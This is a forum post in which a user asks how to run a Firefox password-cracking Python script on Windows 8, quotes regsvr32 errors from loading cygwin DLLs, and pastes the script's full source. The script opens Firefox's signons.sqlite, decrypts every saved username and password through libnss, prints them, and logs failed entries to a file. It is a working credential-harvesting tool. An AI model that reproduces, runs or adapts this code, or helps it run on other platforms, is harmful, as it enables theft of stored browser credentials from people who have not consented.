15
« on: September 23, 2013, 11:42:04 am »
I've been keeping a lookout for ffpasscracker.py
I use your script and run it in test mode with my windows 8 pc. I changed some options. but i have not a good result.
I Download "cygwin1.dll","cygwin.dll" and install it my pc. it is give me a error massage.
command > regsvr32 cygwin1.dll
error 1 > "The module "cygwin1.dll" may not compatible with the version of windows that you're running. Check if the module is compatible with an x86 or 64 version of regsvr32.exe"
error 2 > The Module "cygwin1.dll failed to load. Make sure the binary is stored at the specified path or debug it to check for problems with the binary or dependent .DLL files. The specified module could not be found. (But cygwin1.dll is really at the system32 folder)
Same result to cygwin.dl
So how to fix this problem?
How to run this script in my windows 8 pc without any problem?
What to do?
I need serious help with that......
#!/usr/bin/env python
# ffpwdcracker - Crack the passwords stored using Firefox browser. The script currently works only on Linux.
# Author : Pradeep Nayak (pradeep1288@gmail.com)
# usage: ffpwdcracker [paths_to_location_of_files]
# Run it with no paramters to extract the standard Passwords from all Profiles of the current
# logged in User.
# Required files:
# + key3.db
# + signongs.sqlite
# + cert8.db
# are used and needed to collect the passwords.
from ctypes import *
import struct
import sys
import os
import glob
import re
import time
import base64
#Password structures
class SECItem(Structure):
_fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]
class secuPWData(Structure):
_fields_ = [('source',c_ubyte),('data',c_char_p)]
(SECWouldBlock,SECFailure,SECSuccess)=(-2,-1,0)
(PW_NONE,PW_FROMFILE,PW_PLAINTEXT,PW_EXTERNAL)=(0,1,2,3)
def findpath_userdirs():
appdata = os.getenv('HOME')
usersdir = appdata+os.sep+".mozilla"+os.sep+'firefox'
userdir = os.listdir(usersdir)
res=[]
for user in userdir:
if os.path.isdir(usersdir+os.sep+user):
res.append(usersdir+os.sep+user)
return res
def errorlog(row,path):
print "----[-]Error while Decoding! writting error.log:"
print libnss.PORT_GetError()
try:
f=open('error.log','a')
f.write("-------------------\n")
f.write("#ERROR in: %s at %s\n" %(path,time.ctime()))
f.write("Site: %s\n"%row[1])
f.write("Username: %s\n"%row[6])
f.write("Password: %s\n"%row[7])
f.write("-------------------\n")
f.close()
except IOError:
print "Error while writing logfile - No log created!"
#reads the signons.sqlite which is a sqlite3 Database (>Firefox 3)
def readsignonDB(userpath,dbname):
if libnss.NSS_Init(userpath)!=0:
print """Error Initalizing NSS_Init,\n
propably no usefull results"""
print "Dirname: %s"%os.path.split(userpath)[-1]
import sqlite3
conn = sqlite3.connect(userpath+os.sep+dbname)
c = conn.cursor()
c.execute("SELECT * FROM moz_logins;")
for row in c:
print "--Site(%s):"%row[1]
uname.data = cast(c_char_p(base64.b64decode(row[6])),c_void_p)
uname.len = len(base64.b64decode(row[6]))
passwd.data = cast(c_char_p(base64.b64decode(row[7])),c_void_p)
passwd.len=len(base64.b64decode(row[7]))
if libnss.PK11SDR_Decrypt(byref(uname),byref(dectext),byref(pwdata))==-1:
errorlog(row,userpath+os.sep+dbname)
print "----Username %s" % string_at(dectext.data,dectext.len)
if libnss.PK11SDR_Decrypt(byref(passwd),byref(dectext),byref(pwdata))==-1:
errorlog(row,userpath+os.sep+dbname)
print "----Password %s" % string_at(dectext.data,dectext.len)
c.close()
conn.close()
libnss.NSS_Shutdown()
################# MAIN #################
if len(sys.argv)==1:
ordner = findpath_userdirs()
else:
ordner=sys.argv[1:]
#Load the libnss3 linked file
libnss = CDLL("libnss3.so")
pwdata = secuPWData()
pwdata.source = PW_NONE
pwdata.data=0
uname = SECItem()
passwd = SECItem()
dectext = SECItem()
for user in ordner:
signonfiles = glob.glob(user+os.sep+"signons*.*")
for signonfile in signonfiles:
(filepath,filename) = os.path.split(signonfile)
filetype = re.findall('\.(.*)',filename)[0]
if filetype.lower() == "sqlite":
readsignonDB(filepath,filename)
else:
print "Unhandled Signons File: %s" % filename
print "Skipping"
It is original source code.....